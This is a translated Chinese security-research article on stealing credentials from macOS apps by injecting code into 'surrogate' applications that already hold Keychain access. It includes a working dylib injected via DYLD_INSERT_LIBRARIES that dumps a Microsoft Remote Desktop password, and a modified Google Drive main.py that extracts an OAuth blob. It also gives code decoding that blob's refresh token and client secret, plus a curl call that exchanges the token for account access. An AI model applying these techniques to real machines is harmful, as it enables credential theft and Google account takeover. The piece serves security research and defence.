前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >拿起Mac来渗透:恢复凭证

拿起Mac来渗透:恢复凭证

作者头像
FB客服
发布于 2020-03-10 07:49:54
发布于 2020-03-10 07:49:54
1.8K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

介绍

获取凭证信息是红队的常用套路,因为这些凭证可横向移动的一把好手。网上很多用Windows进行凭据恢复的研究,随着渗透人员经济条件越来越好,各位师傅都换上了Mac(馋.jpg)

所以这篇文章中,我们将探讨如何通过代理应用程序进行代码注入来访问MacOS第三方应用程序中存储的凭据,包括Microsoft远程桌面和Google云端硬盘的案例研究。

Microsoft远程桌面

使用远程桌面应用程序时,注意它都具有一个保存RDP会话凭据的功能,如下所示:

这些会话的已存储凭据在应用程序中

发现这些凭据的第一步是探索应用程序的沙箱容器,使用命令grep -ir contoso.com查看Preferences / com.microsoft.rdc.mac.plistplist文件中包含的字符串。使用plutil -convert xml1 Preferences / com.microsoft.rdc.mac.plist将其转换为纯文本,我们看看:

在plist文件中,我们可以找到有关凭证的各种详细信息,但不幸的是,没有明文密码。如果这么简单,那就太好了。

下一步是在反汇编程序中打开“远程桌面”应用程序。

基于以上所述,我们知道已保存的条目在应用程序中被称为书签。

我们查下KeychainCredentialLoader::getPasswordForBookmark()方法,我们可以看到,除其他外,它调用了一个名为getPassword()的方法:

在getPassword()内部,它尝试通过调用findPasswordItem()方法来发现Keychain,该方法使用SecKeychainSearchCreateFromAttributes()来找到相关的Keychain并最终复制出其内容:

基于所学知识,我们现在了解到RDP会话的密码存储在Keychain中。我们可以使用Keychain access应用程序对此进行确认:

但是,如果没有提权,我们无法访问已保存的密码。

找回密码

查看“访问控制”选项卡,我们可以看到Microsoft Remote Desktop.app被授予了对此项目的访问权限,并且不需要Keychain密码即可执行此操作:

回到我们最初的理论,如果我们可以注入到应用程序中,那么我们可以从Keychain中检索此密码。但是,在MacOS上进行代码注入并不是一件容易的事,并且当适当的安全控制措施到位(即SIP和适当的权利或启用了hardened runtime)时,Apple已经将其锁定了。这些选项可防止注入未经Apple签名或与应用程序相同的团队ID的库。

对我们来说幸运的是,使用codesign -dvvv –entitlements进行了验证:/Applications/Microsoft\ Remote\ Desktop.app/Contents/MacOS/Microsoft\ Remote\ Desktop我们发现没有这样的保护措施,意味着我们可以很好地使用-known DYLD_INSERT_LIBRARIES技术注入我们的动态库。

一个简单的dylib,用于根据发现的书签搜索“Keychain”项,如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#import "hijackLib.h"
@implementation hijackLib :NSObject
-(void)dumpKeychain {
    NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
    @"dc.contoso.com", (__bridge id)kSecAttrLabel,
    (__bridge id)kSecClassInternetPassword,(__bridge id)kSecClass,
    nil];
    NSDictionary *keychainItem = nil;
    OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (void *)&keychainItem);
    if(status != noErr)
    {
        return;
    }
    NSData* passwordData = [keychainItem objectForKey:(id)kSecValueData];
    NSString * password = [[NSString alloc] initWithData:passwordData encoding:NSUTF8StringEncoding];
    NSLog(@"%@", password);
}
@end
void runPOC(void) {
    [[hijackLib alloc] dumpKeychain];
}
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
    runPOC();
    exit(0);
}

编译该库并通过DYLD_INSERT_LIBRARIES注入,我们可以查看存储在Keychain中的纯文本密码:

Google云端硬盘

前面的示例相对来说比较琐碎,因为远程桌面应用程序未包含任何运行时保护措施以防止未经授权的代码注入。让我们看另一个例子。

如果我们查看Google云端硬盘应用程序的元数据和权利,我们可以看到该应用程序使用了hardened runtime:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ codesign -dvvv --entitlements :- '/Applications//Backup and Sync.app/Contents/MacOS/Backup and Sync'
Executable=/Applications/Backup and Sync.app/Contents/MacOS/Backup and Sync
Identifier=com.google.GoogleDrive
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=546 flags=0x10000(runtime) hashes=8+5 location=embedded

Apple介绍:

hardened runtime与系统完整性保护(SIP)一起,通过防止某些类型的利用,例如代码注入,动态链接库(DLL)劫持和进程内存空间篡改,来保护软件的运行时完整性。

我的同事亚当·切斯特(Adam Chester)之前曾谈到过,当这些保护措施不到位时,如何实现向代理应用程序的代码注入,但是在这种情况下,hardened runtime意味着如果我们尝试使用亚当描述的先前的DYLD_INSERT_LIBRARIES或Plugins技术,将失败,我们将无法再使用加载程序将其注入该进程。但是有替代路线吗?

仔细研究Google云端硬盘应用,我们会在该应用的Info.plist中发现以下内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<key>PyRuntimeLocations</key>
    <array>
<string>@executable_path/../Frameworks/Python.framework/Versions/2.7/Python</string>
    </array>

我们还注意到/ Applications / Backup和Sync.app/Contents/MacOS文件夹中的其他Python二进制文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-rwxr-xr-x@  1 dmc  staff  49696 23 Dec 04:00 Backup and Sync
-rwxr-xr-x@  1 dmc  staff  27808 23 Dec 04:00 python

因此,这里发生的是Google Drive的“备份和同步”应用程序实际上是基于python的应用程序,可能使用py2app或类似程序进行了编译。

让我们看看这是否为我们提供了执行代码注入的机会。

分析

查看该应用程序,我们发现唯一的python源文件是./Resources/main.py,它执行以下操作:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from osx import run_googledrive
if __name__ == "__main__":
  run_googledrive.Main()

不幸的是,我们不能修改该文件,因为它位于受SIP保护的目录中。但是,我们只需将整个应用程序复制到一个可写的文件夹中,它将保持相同的权利和代码签名;我们将其复制到/tmp。

使用/tmp文件夹中的应用程序副本,我们编辑main.py来试试是否可以修改:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if __name__ == "__main__":
  print('hello hackers')
  run_googledrive.Main()

运行该应用程序,我们可以看到我们已经执行了Python:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/t/B/C/Resources $ /tmp/Backup\ and\ Sync.app/Contents/MacOS/Backup\ and\ Sync
/tmp/Backup and Sync.app/Contents/Resources/lib/python2.7/site-packages.zip/wx/_core.py:16633: UserWarning: wxPython/wxWidgets release number mismatch
hello hackers
2020-02-21 09:11:36.481 Backup and Sync[89239:2189260] GsyncAppDeletegate.py : Finder debug level logs : False
2020-02-21 09:11:36.652 Backup and Sync[89239:2189260] Main bundle path during launch: /tmp/Backup and Sync.app

既然我们知道可以在代码签名无效的情况下执行任意python,是否可以以某种方式滥用它?

滥用 Surrogate

通过查看Keychain,我们发现该应用程序已存储了多个项目,包括以下标记为“应用程序密码”的项目。设置访问控制,以便Google云端硬盘应用无需身份验证即可恢复该访问控制:

让我们看看如何使用替代应用程序来恢复它。

回顾该应用程序如何加载其Python软件包,我们在./Resources/lib/python2.7/site-packages.zip中发现了捆绑的site-packages资源,如果我们对此进行解压缩,则可以了解发生了什么。

对“ keychain”执行初始搜索会发现几个包含字符串的模块,包括osx / storage / keychain.pyo和osx / storage / system_storage.pyo;我们感兴趣的一个是system_storage.pyo,keychain.pyo,这是keychain_ext.so共享库的Python接口,它提供了本地访问以访问Keychain。

反编译并查看system_storage.pyo,我们发现以下内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from osx.storage import keychain
LOGGER = logging.getLogger('secure_storage')
class SystemStorage(object):
    def __init__(self, system_storage_access=None):
        pass
    def StoreValue(self, category, key, value):
        keychain.StoreValue(self._GetName(category, key), value)
    def GetValue(self, category, key):
        return keychain.GetValue(self._GetName(category, key))
    def RemoveValue(self, category, key):
        keychain.RemoveValue(self._GetName(category, key))
    def _GetName(self, category, key):
        if category:
            return '%s - %s' % (key, category)
        return key

考虑到这一点,让我们修改main.py以尝试从Keychain中检索凭证:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from osx import run_googledrive
from osx.storage import keychain
if __name__ == "__main__":
  print('[*] Poking your apps')
  key = “xxxxxxxxx@gmail.com"
  value = '%s' % (key)
  print(keychain.GetValue(value))
  #run_googledrive.Main()

这次,当我们运行该应用程序时,我们获得了一些似乎是base64编码的数据:

让我们更深入地了解这是什么以及我们是否可以使用它。

搜索在secure_storage.SecureStorage类是用于我们找到了TokenStorage类,包括方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def FindToken(self, account_name, category=Categories.DEFAULT):
    return self.GetValue(category.value, account_name)

所述TokenStorage类则内使用公共/ AUTH / oauth_utils.pyo在模块LoadOAuthToken方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
def LoadOAuthToken(user_email, token_storage_instance, http_client):
    if user_email is None:
        return
    else:
        try:
            token_blob = token_storage_instance.FindToken(user_email)
            if token_blob is not None:
                return oauth2_token.GoogleDriveOAuth2Token.FromBlob(http_client, token_blob)

看一下oauth2_toke.GoogleDriveOAuth2Token.FromBlob方法,我们可以看到发生了什么:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
@staticmethod
def FromBlob(http_client, blob):
    if not blob.startswith(GoogleDriveOAuth2Token._BLOB_PREFIX):
        raise OAuth2BlobParseError('Wrong prefix for blob %s' % blob)
    parts = blob[len(GoogleDriveOAuth2Token._BLOB_PREFIX):].split('|')
    if len(parts) != 4:
        raise OAuth2BlobParseError('Wrong parts count blob %s' % blob)
    refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)

我们从Keychain中恢复的Blob令牌,client_id和client_secret等的base64副本。我们可以使用以下方法恢复它们:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import base64
_BLOB_PREFIX = '2G'
blob = ‘2GXXXXXXXXXXXXX|YYYYYYYYYYYYYY|ZZZZZZZZZZZ|AAAAAAAAAA='
parts = blob[len(_BLOB_PREFIX):].split('|')
refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
print(refresh_token)
print(client_id)
print(client_secret)

然后,刷新令牌可用于请求新的访问令牌,以提供用户身份访问Google帐户:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ curl https://www.googleapis.com/oauth2/v4/token \
                                    -d client_id=11111111111.apps.googleusercontent.com \
                                    -d client_secret=XXXXXXXXXXXXX \
                                    -d refresh_token=1/YYYYYYYYYYYYY' \
                                    -d grant_type=refresh_token
{
  "access_token": “xxxxx.aaaaa.bbbbb.ccccc",
  "expires_in": 3599,
  "scope": "https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/contactstore.readonly",
  "token_type": "Bearer"
}

结论

在这项研究中,介绍如何通过滥用代码注入替代应用程序来从MacOS设备的Keychain中恢复凭证而无需提升权限。尽管Apple提供了一些保护措施来限制代码注入,但是当利用已经具有访问存储资源所需权限的代理应用程序时,这些保护措施并不总是完全有效的。

*参考来源:mdsec,FB小编周大涛编译,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-03-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
OAuth2.0系列(四)因为要在数据库保存客户端的信息,所以这个表如何建?这个springsecurity框架已经给我们提供了,解释各个表里面的字段是什么意思
OAuth2.0的服务端和资源端都不是我们自己写的,都是springsecurity框架给我们写的,既然是springsecurity框架的,那么客户端的信息保存在数据库里面的时候,这个数据库的表结构就需要使用springsecurity框架定义的。
一写代码就开心
2020/11/20
1.9K0
OAuth2.0系列(四)因为要在数据库保存客户端的信息,所以这个表如何建?这个springsecurity框架已经给我们提供了,解释各个表里面的字段是什么意思
Spring Cloud OAuth2 实现用户认证及单点登录
OAuth 2 有四种授权模式,分别是授权码模式(authorization code)、简化模式(implicit)、密码模式(resource owner password credentials)、客户端模式(client credentials),具体 OAuth2 是什么,可以参考这篇文章。(http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html)
古时的风筝
2019/10/24
2K0
Spring Cloud OAuth2 实现用户认证及单点登录
Spring Boot Security 整合 OAuth2 设计安全API接口服务
OAuth是一个关于授权(authorization)的开放网络标准,在全世界得到广泛应用,目前的版本是2.0版。本文重点讲解Spring Boot项目对OAuth2进行的实现,如果你对OAuth2不是很了解,你可以先理解 OAuth 2.0 - 阮一峰,这是一篇对于oauth2很好的科普文章。
程序员果果
2019/05/16
1.9K0
Spring Security OAuth2.0实现
OAuth(开放授权)是一个开放标准,允许用户授权第三方移动应用访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方移动应用或分享他们数据的所有内容,OAuth2.0是OAuth协议的延续版本,但不向后兼容OAuth 1.0即完全废止了OAuth1.0。
兜兜转转
2023/03/29
2.9K0
Spring Security OAuth2.0实现
goindex搭建方法
大家都知道Google向来对学生都是比较良心的,国外大学的学生邮箱申请到的Googledrive都是无限容量的,而且下载速度不限制(这里要注意你的网络环境必须是在挂代理的情况下),但是很多人都没有可用的代理,中国GFW已经封锁互联网环境已经快20年了,大部分人是访问不了谷歌的,因为一些政策原因,在这里就不细说了,详情可以百度。
blankmiss
2020/04/09
1.6K0
goindex搭建方法
深度解读-如何用keycloak管理external auth
简单来说,以google授权为例,一般就是通过用户授权页面登录google账号,再跳转用code换取到相应权限的token,就可以代表用户去发起一些google api的请求。
newbmiao
2023/11/27
8940
深度解读-如何用keycloak管理external auth
一口气说出 OAuth2.0 的四种授权方式
上周我的自研开源项目开始破土动工了,[《开源项目迈出第一步,10 选 1?页面模板成了第一个绊脚石
程序员小富
2020/07/07
9030
一口气说出 OAuth2.0 的四种授权方式
Spring Security OAuth2 Demo
Spring Security OAuth2 Demo 项目使用的是MySql存储, 需要先创建以下表结构: CREATE SCHEMA IF NOT EXISTS `alan-oauth` DEFAULT CHARACTER SET utf8 ; USE `alan-oauth` ; -- ----------------------------------------------------- -- Table `alan-oauth`.`clientdetails` -- -------------
庞小明
2018/03/08
2.5K0
Spring Security OAuth2 Demo
google支付回调验证(备用)
20150218,挂机的日本服务器出现google支付被刷单现象,虽然目前进行的修补,但是这个问题并没有完全从根源上解决。并且公司以前的GooglePlay支付也有不完善的地方,在SDK端给支付回调发送支付信息后,支付回调程序没有调用Google API进行订单验证。因此Google支付流程需要进行完善。
全栈程序员站长
2022/07/12
3.8K0
google支付回调验证(备用)
持续发布 Chrome 插件
Chrome 插件对于 Chrome 浏览器用户来说是必不可少的利器之一。之前我有开发过一款七牛云图床的 Chrome 插件 image-host。后来由于我自己没有自己的域名,所以不太好使用这个插件了。后面,有其他的同学来提交 PR 来维护这一个插件。这样就有一个问题,一旦新的代码发布,就需要自己再重新发布一下插件。虽然发布插件不算特别麻烦,打包成压缩包,上传就可以了,但是对于程序员来说,可以自动做的绝对不要手动做。以下就是通过 CircleCI 来持续发布 Chrome 插件,参考了官方的文章,自己也才了一些坑。
madneal
2019/11/28
8460
grafana酷炫图表
1)grafana是用于可视化大型测量数据的开源程序,他提供了强大和优雅的方式去创建、共享、浏览数据。dashboard中显示了你不同metric数据源中的数据。 2)grafana最常用于因特网基础设施和应用分析,但在其他领域也有机会用到,比如:工业传感器、家庭自动化、过程控制等等。 3)grafana有热插拔控制面板和可扩展的数据源,目前已经支持Graphite、InfluxDB、OpenTSDB、Elasticsearch。
张琳兮
2019/03/14
3.9K0
grafana酷炫图表
【Spring底层原理高级进阶】【SpringCloud整合Spring Security OAuth2】深入了解 Spring Security OAuth2:底层解析+使用方法+实战
OAuth2(Open Authorization 2.0)是一种用于授权的开放标准协议,用于通过第三方应用程序访问用户在某个服务提供商上存储的资源,而无需共享用户的凭证(例如用户名和密码)。它允许用户授权给第三方应用程序访问受保护的资源,同时确保用户的凭证信息不被直接暴露给第三方应用程序。
苏泽
2024/03/01
2.8K0
【Spring底层原理高级进阶】【SpringCloud整合Spring Security OAuth2】深入了解 Spring Security OAuth2:底层解析+使用方法+实战
OAuth 2.0 授权认证详解
点击上方“芋道源码”,选择“设为星标” 管她前浪,还是后浪? 能浪的浪,才是好浪! 每天 10:33 更新文章,每天掉亿点点头发... 源码精品专栏 原创 | Java 2021 超神之路,很肝~ 中文详细注释的开源项目 RPC 框架 Dubbo 源码解析 网络应用框架 Netty 源码解析 消息中间件 RocketMQ 源码解析 数据库中间件 Sharding-JDBC 和 MyCAT 源码解析 作业调度中间件 Elastic-Job 源码解析 分布式事务中间件 TCC-Transaction
芋道源码
2022/06/20
2K0
OAuth 2.0 授权认证详解
Spring security oauth2的认证流程
AuthorizationServerConfigurerAdapterm默认方法配置
用户1499526
2019/08/20
3.1K0
在Windows下使用rclone挂载GoogleDrive团队盘
前几天edu教育网账号翻车了,登录时发现账号被删了,里面存了9T的资源也灰飞烟灭了。不过使用这个edu给我自己Gmail开的团队盘居然还在,稍加思索一番,好像还能接着用。之前一直用的RaiDrive在Windows上面挂载的GoogleDrive,不过RaiDrive似乎不能挂载团队盘 (2020.6.12现在支持了,建议直接RaiDrive一步到位,可以不用折腾这些花里胡哨的东西来浪费时间了。以及,我的团队盘依旧还活着。该edu账号是在18年10月份在Ebay上0.99$收的)。就这样,又用上了rclone。
ldeus
2020/06/12
16K1
在Windows下使用rclone挂载GoogleDrive团队盘
OAuth 详解<1> 什么是 OAuth?
从高层次开始,OAuth 不是API或服务:它是授权的开放标准,任何人都可以实施它。
用户1418987
2023/04/10
5K0
OAuth 详解<1> 什么是 OAuth?
喜大普奔,Gitee最新版本API推出了以gitee作为资源认证服务器的的OAuth2认证
本文来源:https://gitee.com/api/v5/oauth_doc#/
用户3587585
2022/09/21
1.9K0
喜大普奔,Gitee最新版本API推出了以gitee作为资源认证服务器的的OAuth2认证
部署 Casdoor 身份认证管理系统并实现透过 OAuth2.0 登录到 WordPress
由于考虑到 XCTRA 未来可能会有非常多的子服务,如果全部采用单一认证可能会非常复杂,于是这几天一直在研究 IAM(Identity and Access Management)系统,在尝试了 Apache keycloak,JustAuthPlus 等开源项目后,最终选择了 Casdoor。
HikariLan贺兰星辰
2023/03/06
3.9K3
部署 Casdoor 身份认证管理系统并实现透过 OAuth2.0 登录到 WordPress
Spring Security 在 Spring Boot 中使用 OAuth2【分布式】
  OAuth(开放授权,Open Authorization)是一个开放标准,为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 OAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 OAuth 是安全的。OAuth 2.0 是 OAuth 协议的延续版本,但不向后兼容 OAuth 1.0 即完全废止了 OAuth 1.0。很多大公司如 Google,Yahoo,Microsoft 等都提供了 OAuth 认证服务,这些都足以说明 OAuth 标准逐渐成为开放资源授权的标准。Oauth 协议目前发展到 2.0 版本,1.0 版本过于复杂,2.0 版本已得到广泛应用。Spring-Security-OAuth2 是对 OAuth2 的一种实现,并且跟 Spring Security 相辅相成,与 Spring Cloud 体系的集成也非常便利,最终使用它实现分布式认证授权解决方案。
Demo_Null
2020/10/30
7.2K0
Spring Security 在 Spring Boot 中使用 OAuth2【分布式】
OAuth2混合模式
OAuth2混合模式(Hybrid Flow)是一种OAuth2授权模式,它结合了授权码模式和隐式授权模式的优点,可以在保证安全性的同时,提供更好的用户体验。
堕落飞鸟
2023/04/14
8640
推荐阅读
相关推荐
OAuth2.0系列(四)因为要在数据库保存客户端的信息,所以这个表如何建?这个springsecurity框架已经给我们提供了,解释各个表里面的字段是什么意思
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档